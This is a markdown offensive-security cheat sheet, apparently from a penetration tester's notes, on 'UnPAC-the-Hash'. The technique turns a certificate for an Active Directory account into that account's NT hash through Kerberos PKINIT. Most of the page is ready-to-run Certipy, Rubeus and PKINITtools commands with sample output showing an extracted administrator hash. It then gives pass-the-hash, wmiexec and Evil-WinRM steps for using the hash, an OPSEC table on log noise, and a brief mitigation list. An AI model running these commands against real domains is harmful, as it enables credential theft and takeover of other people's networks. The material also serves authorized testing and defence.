theft5-ntlm-theft-via-pkinit-unpac-the-hash.md (5144B)
1 --- 2 title: "THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash)" 3 description: "When you authenticate with a certificate via PKINIT, the KDC returns a TGT whose PAC contains the account's NTLM hash (so the account can later do NTLM…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "kerberos", "adcs", "ntlm", "hashing"] 7 tools: ["Rubeus", "Certipy", "Evil-WinRM", "faketime", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash).md" 11 --- 12 # THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Credential Theft (protocol) | 19 | **Difficulty** | Low | 20 | **Pre-requisites** | Any certificate with an authentication EKU for the target account | 21 | **Tools** | Certipy, Rubeus, gettgtpkinit (PKINITtools) | 22 | **OPSEC Noise** | Low — normal Kerberos traffic | 23 | **One-liner** | Turn a certificate into the account's **NT hash**: authenticate via Kerberos **PKINIT**, then use **U2U** to read the NTLM hash embedded in the PAC. | 24 25 *** 26 27 ## What Is THEFT5? 28 29 When you authenticate with a certificate via **PKINIT**, the KDC returns a TGT whose **PAC** contains the account's **NTLM hash** (so the account can later do NTLM auth after a smart-card logon). "UnPAC-the-hash" requests a **User-to-User (U2U)** service ticket to yourself, decrypts the PAC, and reads that hash out. Net effect: a `.pfx` becomes both a TGT **and** the NT hash, with no password ever touched. "Pass-the-Certificate" is the related idea of simply using the cert to authenticate. 30 31 <figure class="flow plate corners"> 32 <figcaption class="flow__cap"><span class="flow__kind">UnPAC-the-Hash flow</span><span class="flow__dir">LR</span></figcaption> 33 <div class="flow__body"> 34 <div class="flow__diagram" data-dir="lr"> 35 <div class="flow-rank"><div class="flow-node is-entry">.pfx cert</div></div> 36 <div class="flow-edge"><span class="flow-edge__label">PKINIT AS-REQ</span></div> 37 <div class="flow-rank"><div class="flow-node">TGT with PAC</div></div> 38 <div class="flow-branches"> 39 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">U2U TGS-REQ to self</span></div><div class="flow-node">Decrypt PAC</div><div class="flow-edge"></div><div class="flow-node is-goal">NT hash extracted</div><div class="flow-edge"></div><div class="flow-node">Pass-the-Hash</div></div> 40 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Shell via -k</div></div> 41 </div> 42 </div> 43 </div> 44 </figure> 45 46 *** 47 48 ## Step 1 — Certipy (one command does it all) 49 50 ```bash 51 certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET 52 ``` 53 54 ``` 55 [*] Using principal: administrator@domain.htb 56 [*] Trying to get TGT... 57 [*] Got TGT 58 [*] Saving credential cache to 'administrator.ccache' 59 [*] Trying to retrieve NT hash for 'administrator' 60 [*] Got hash for 'administrator@domain.htb': aad3b...:8da83a3fa618b6e3a00e93f676c92a6e 61 ``` 62 63 > [!warning] Clock skew 64 > PKINIT is Kerberos. On `KRB_AP_ERR_SKEW`, wrap with faketime (see faketime-cheatsheet): 65 > `faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET` 66 67 *** 68 69 ## Step 2 — Windows (Rubeus) 70 71 ```powershell 72 .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /nowrap 73 # /getcredentials performs the UnPAC step and prints the NT hash 74 ``` 75 76 *** 77 78 ## Step 3 — PKINITtools (manual, when Certipy is blocked) 79 80 ```bash 81 python3 gettgtpkinit.py -cert-pfx administrator.pfx domain.htb/administrator admin.ccache 82 export KRB5CCNAME=admin.ccache 83 python3 getnthash.py -key <AS-REP-key-from-above> domain.htb/administrator 84 ``` 85 86 *** 87 88 ## Step 4 — Spend It 89 90 ```bash 91 # Kerberos path (quieter) 92 export KRB5CCNAME=administrator.ccache 93 wmiexec.py -k -no-pass DC01.domain.htb 94 95 # Pass-the-Hash path 96 evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e 97 ``` 98 99 > [!tip] LDAP fallback (no PKINIT on the DC) 100 > If the DC lacks a KDC certificate, PKINIT fails. Authenticate the cert over Schannel/LDAPS instead: 101 > `certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $TARGET` 102 103 *** 104 105 ## OPSEC Considerations 106 107 | Action | Log | Noise | 108 | :-- | :-- | :-- | 109 | PKINIT AS-REQ | Event 4768 (TGT, cert info) on DC | 🟢 Low | 110 | U2U UnPAC | additional TGS request | 🟢 Low | 111 | Pass-the-Hash after | Event 4624 type 3/9 | 🟡 Medium | 112 113 *** 114 115 ## Mitigation 116 117 - Enforce `StrongCertificateBindingEnforcement = 2` so forged-SAN certs cannot ride PKINIT. 118 - Monitor 4768 events that include certificate information without a corresponding smart-card enrolment. 119 - Rotate NT hashes/reset accounts whose certs are known-compromised (revoke the cert too). 120 121 *** 122 123 ## See Also 124 125 - _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · faketime-cheatsheet · Shadow Credentials — msDS-KeyCredentialLink Abuse 126 - Sources: SpecterOps *Certified Pre-Owned*; [PKINITtools](https://github.com/dirkjanm/PKINITtools); [The Hacker Recipes — UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)